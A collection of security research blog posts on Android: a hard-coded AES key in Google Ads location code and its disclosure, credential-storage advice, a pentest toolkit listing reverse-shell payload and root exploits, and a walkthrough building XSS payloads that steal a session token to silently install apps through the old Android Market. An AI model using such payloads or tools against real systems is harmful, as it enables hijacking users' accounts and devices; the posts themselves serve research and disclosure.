Google Ads Encryption Key

Just this last time I will talk about this encryption key, but then I’ll shut up (for me this is so 2011). I presented this thing last year at conferences, but if you just look at the slides I think it’s hard to get the point.

During my Android research in 2011 I encountered several bad practises that are wide spread. Especially hard-coded symmetric encryption keys in the source code of Android apps are often used. One special occurence of one of these encryption keys I just couldn’t forget: Why would Google (Ads) themself use such a thing? It’s not a big deal, but it just adds no real protection and I kept wondering.

445 apps I decompiled used Google Ads code and included the following AES symmetric encryption key:

byte[] arrayOfByte1 = { 10, 55, -112, -47, -6, 7, 11, 75, 
                       -7, -121, 121, 69, 80, -61, 15, 5 };

This AES key is used to encrypt the last known location of the user (all location providers: GPS, WIFI, etc) and send it to Google via the JSON uule parameter. Most of the time the key is located in com.google.ads.util.AdUtil.java, com.google.ads.LocationTracker.java or if the app uses an obfuscator in u.java or r.java. Here’s the corresponding code:

String getLocationParam(){
    List localList = getLastKnownLocations();
    StringBuilder localStringBuilder1 = new StringBuilder();
    int i = 0;
    int j = localList.size();
    if (i < j){
      Location localLocation = (Location)localList.get(i);
      String str1 = protoFromLocation(localLocation);
      String str2 = encodeProto(str1);
      if (str2 != null){
        if (i != 0)
          break label89;
        StringBuilder localStringBuilder2 = localStringBuilder1.append("e1+");
      }
      while (true){
        StringBuilder localStringBuilder3 = localStringBuilder1.append(str2);
        i += 1;
        break;
        label89: StringBuilder localStringBuilder4 = localStringBuilder1.append("+e1+");
      }
    }
    return localStringBuilder1.toString();
  }

String encodeProto(String paramString){
    try{
      Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
      byte[] arrayOfByte1 = { 10, 55, 144, 209, 250, 7, 11, 75, 249, 135, 121, 69, 80, 195, 15, 5 };
      SecretKeySpec localSecretKeySpec = new SecretKeySpec(arrayOfByte1, "AES");
      localCipher.init(1, localSecretKeySpec);
      byte[] arrayOfByte2 = localCipher.getIV();
      byte[] arrayOfByte3 = paramString.getBytes();
      byte[] arrayOfByte4 = localCipher.doFinal(arrayOfByte3);
      int i = arrayOfByte2.length;
      int j = arrayOfByte4.length;
      byte[] arrayOfByte5 = new byte[i + j];
      int k = arrayOfByte2.length;
      System.arraycopy(arrayOfByte2, 0, arrayOfByte5, 0, k);
      int m = arrayOfByte2.length;
      int n = arrayOfByte4.length;
      System.arraycopy(arrayOfByte4, 0, arrayOfByte5, m, n);
      String str1 = Base64.encodeToString(arrayOfByte5, 11);
      str2 = str1;
      return str2;
    }
    catch (GeneralSecurityException localGeneralSecurityException){
      while (true)
        String str2 = null;
    }
  }

This code was produced by a decompiler, so it won’t compile, but you get the idea. Instead of using symmetric crypto, they should have used asymmetric crypto (public key in app, private key on server). There would be no way to intercept the last known location on the network then. Ok, here’s the timeline:

June 2011: Notified security@google.com (auto-response)
October 2011: Talked about it at 0sec / #days and spoke to two friends at Google who are not in the Android/Ads team. One of them (thank you!) sent my mail to the responsible people at Google.
Februar 2012: After a couple of emails I got the answer that they are going to switch to SSL

If you ever find the uule parameter on your network, let me know. One last thing: Depending on your decompiler, the AES key will look like this (wrong decompilation):

byte[] arrayOfByte1 = { 10, 55, 144, 209, 250, 7, 11, 75, 
                       249, 135, 121, 69, 80, 195, 15, 5 };

This is not a valid way to define a byte array in Java, because the integers must be between -127 and 128 (signed integers). That’s another funny fact: if you ever have to brute force a Java byte array like this, I would start with keys where every byte starts with a 0 bit (MSB=0). I saw a lot more of those keys. It seems that some Java developers don’t know about the instantiation with signed integers and therefore choose only numbers between 0 and 128.

How to store credentials on Android

There is a lot of discussion going on how to store credentials on the Android platform. What I’m going to discuss is focused on the Android platform, but you’ll notice that most of the things can be applied to all mobile plattforms. There are some differences, e.g. that you should use the much more evolved secure keystore of the iOS. There will be a keychain in Android 4.0. But of course you can screw up the secure storage on all platforms or even examples of the vendor show you how to screw up.

Before you start storing credentials the most important question is:

  • Do I really want to store that data and why?

Before you simply answer “yes”, consider the following:

  • Do you want to authenticate the user inside the app to check if he is allowed to access the app and other data?
    • Then use a secure cryptographic hash function (e.g. SHA-2). Use a salt which is long enough and randomly generated on the fly. You can store the salt in plain along with the generated hash. Use multiple hashing rounds (e.g. 10’000).
    • Don’t forget to check in every Activity that the user is already authenticated, because Activities can be invoked directly.
  • Do you want to authenticate the user against a server?
    • Before I go back to how you should store the credentials: Please use a secure channel to the server. One possibility is to use SSL (e.g. a HTTPS connection), but make sure you check the server certificate. Another possibility is to include a public key and have the corresponding private key on the server (actually I like this version even better, because you don’t have to trust hackable CA root companies).
    • Change the server side. Talk to your customer if you are developing an app for someone else, it’s not a big deal to change something on the server side. Try to store a session token instead of the password. Even increasing the expiry time for sessions is better than storing passwords on the client. Only increase it if the request is coming from the Android app, but not for all clients (like standard browser authentication).
    • If your really can’t change the server side and you can not use a token, you have a problem. Whatever you are doing from now, you have to store the password in reversable form, but the client isn’t a good option for that. Attackers equipped with root exploits and reverse engineering skills will always be able to get that password from somewhere (most of the time from the code or the filesystem). Consider that people often reuse passwords, which is a bad habit and if the password for your application is extracted, there might be other services that have to suffer from the laziness of the user.
      • There are several ways of how you could try to protect the credentials, but again, they’re all useless against a sophisticated attacker: E.g. encryption (key in the source code) and good obfuscation (some are just useless). EDIT: With the new Android KeyChain you are even better off if you have a hardware-backed storage on the device. Simply use the KeyChain to store a private key that you use to encrypt the password. The password can only be decrypted when the attacker is in the posession of the device, as he can not extract the private key from the device. Well of course he can extract the key, but root permissions are not sufficient and it means messing with the hardware (which is very expensive).
      • At least tell the user how the credentials are stored, why it could be a problem and what they can do to be protected (e.g. disable “remember password”).
      • Don’t screw up and write the password somewhere to the logs…

0sec talk

Two weeks ago I had a talk about “Reversing Android Apps – Hacking and cracking Android apps is easy” at 0sec. You can download the slides. The video on slide 6 (circumventing the Android lock screen with button mashing) is available here. If you’re interested in the topic, you should check out the other posts in the Android category.

Android Pentest Tools

During my research for the Android platform and in some pentests I tried several things and used different techniques. This is kind of a summary post and I packed some of my tools together into one zip file. The contents are:

  • Importing Burp CA into the Android phone, which I already wrote a blog post about
  • Some Ubuntu bash scripts that can be used to compile statically linked ARM binaries for Android, which I already wrote a blog post about
  • Decompiling/Disassembling bash scripts that I used to disassemble/decompile 3’500 apps from the market, including the Apple Script for Mac to automate the JD-GUI decompilation
  • A simple Python script that can be used to install a list of apps on your Android mobile
  • A list of Google Market App IDs, one list with free apps, one list with apps that cost money
  • A bash script that creates the Metasploit ARM reverse TCP shell payload
  • GingerBreak2 and RageAgainstTheCage exploit but including Ubuntu bash ARM compilation scripts, that let you compile the binary on your own instead of using the shipped ARM binary (I only tested the RageAgainstTheCage exploit)
  • A list of interesting files on the Android filesystem, that serves as a starting point if you don’t know where to start. Having a rooted phone to access the entire filesystem and using a text editor (.xml and .conf files) and a sqlite db viewer (files ending on .db) you’ll find pretty interesting stuff.
  • A file with the Hidden Secret Codes I found on my HTC Desire and in some apps. Actually only two of the 3’500 apps I decompiled had secret codes: The Twicca Twitter client (dial *#*#459338#*#*) and Baidu, the chinese search engine app (*#*#22438#*#*)

You can download the zip file here. I didn’t want to make up my own Android tool project svn or anything like that, but if you have your own toolset (e.g. you’re the developer of one of the tools below), I’d be happy to give my scripts to your project. If you have any feedback, just let me know, I’m happy to discuss it.

Addtionally, I thought I’ll write down some project/tools I used or I want to look into in the future:

  • Androguard
  • Apkinspector (GUI combining apktool, dex2jar, a Java decompiler, byte code, etc.)
  • DED
  • androidAuditTools
  • Smartphonesdumbapps
  • Taintdroid (Privacy issues)
  • Android Forensic Toolkit
  • viaExtract (There’s a VMWare with viaExtract installed. Does standard Forensic for Android: calls, sms, etc. Needs USB debug on)

I might update this post once in a while

Cross-compiling bash for Android ARM

Most Android mobiles are running on the ARM architecture. Therefore you have to use a special compiler for such binaries. The Android SDK built in adb shell has no auto completion, which is really a nightmare in my opinion. Therefore I was looking for a way to compile bash for Android. Altough a lot of tutorials tell you to download the CodeSourcery cross-compiling toolchain, they are not really necessary (at least if you do a static compile like I do here).

I wrote a script that compiles bash-4.0. Should work out-of-the-box in Ubuntu 11.04. Edit: By now I’ve also put it on github: https://github.com/floyd-fuh/ARM-cross-compile

#!/bin/bash
#BASH source code from http://ftp.gnu.org/gnu/bash/ 
#Example for compiling bash on Ubuntu 11.04
#Warnings during the compilation process seem to be alright, errors would be bad
BASH_VERSION="bash-4.1"

echo "[INFO] Checking if packages installed"
dpkg --status autoconf | grep -q not-installed
if [ $? -eq 0 ]; then
    echo "[INFO] Apt-get installing autoconf, please provide sudo password"
    sudo apt-get install autoconf
else
    echo "[INFO] autoconf already installed, good"
fi
dpkg --status gcc-arm-linux-gnueabi | grep -q not-installed
if [ $? -eq 0 ]; then
    echo "[INFO] Apt-get installing gcc-arm-linux-gnueabi, please provide sudo password"
    sudo apt-get install gcc-arm-linux-gnueabi
else
    echo "[INFO] gcc-arm-linux-gnueabi already installed, good"
fi
echo "[INFO] Starting bash source code download"
wget http://ftp.gnu.org/gnu/bash/$BASH_VERSION.tar.gz
tar xvfz $BASH_VERSION.tar.gz
cd $BASH_VERSION
CC=`which arm-linux-gnueabi-gcc`
./configure --host=arm-linux-gnueabi --enable-static-link --without-bash-malloc
make clean
make
file bash | grep -q ARM
if [ ! $? -eq 0 ]; then
    echo "[ERROR] Looks like bash was incorrectly compiled with another compler than arm-linux-gnueabi-gcc"
    echo "[ERROR] The resulting bash binary will not run on ARM, therefore aborting!"
    exit
fi
arm-linux-gnueabi-strip -o bash-stripped -s bash
cp ./bash-stripped ../bash
cd ..
file bash
echo "[INFO] Your bash binary is finished (file 'bash' in current directory), happy autocompleting on ARM!"

By changing the variable BASH_VERSION to bash-4.1 you should be able to compile an even newer version. Bash-4.2 did not work for me.

XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface (edit: which used to be on http://market.android.com, which doesn’t exist nowadays). While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂

Importing Burp CA into rooted Android device

The Android operating system is on the rise. The last months I spent a lot of time testing mobile devices, especially the Android platform.l

One of the things that helped me a lot, is the ability to intercept SSL traffic on my Wireless Access Point. Therefore I set up a laptop with Burp, airbase and some iptables commands to redirect the traffic to the Burp proxy. In the Android browser I could simply accept the certificate warning, but for applications like the Google Android Market that’s not possible. Therefore I had to import the Burp CA into my Android device. As far as I know, this is only possible for rooted (and s-off) phones! The follwing things are necessary:

– The PortSwiggerCA from your Burp install (see instructions here)
– The cacerts.bks (from your phone or from the Android source)
Bouncycastle Java Library

Except for the PortSwiggerCA, everything is included in this zip file. After adding the PortSwiggerCA, just execute the import-ca-and-upload.sh script and follow the instructions.

Happy intercepting!

Edit: Depending on which Android version you are running, Android now supports installing “Trusted Credentials”. It’s pretty simple: Download the Burp CA certificate (e.g. through the webinterface on http://burp/ or see below), rename cacert.der to cacert.crt, transfer it to your SD card (or /sdcard folder if you don’t have a physical card in your phone). Then go to “Settings – Security – Install from storage” and it should get recognised automatically. From now on you’ll get a very annoying message everytime you startup your phone (“Network may be monitored-by an unknown third party”) as if a custom CA is a bigger problem than the default CAs… To me all the default CAs are way worse “unknown third party”s. However, this setup is usually not working with your default Android browser and you might still need the steps above. Some apps work, but for example from Android 4.4 on Google uses certificate pinning on its Google server connections. Certificate pinning means you really have to apply hooking techniques to the app you are analysing.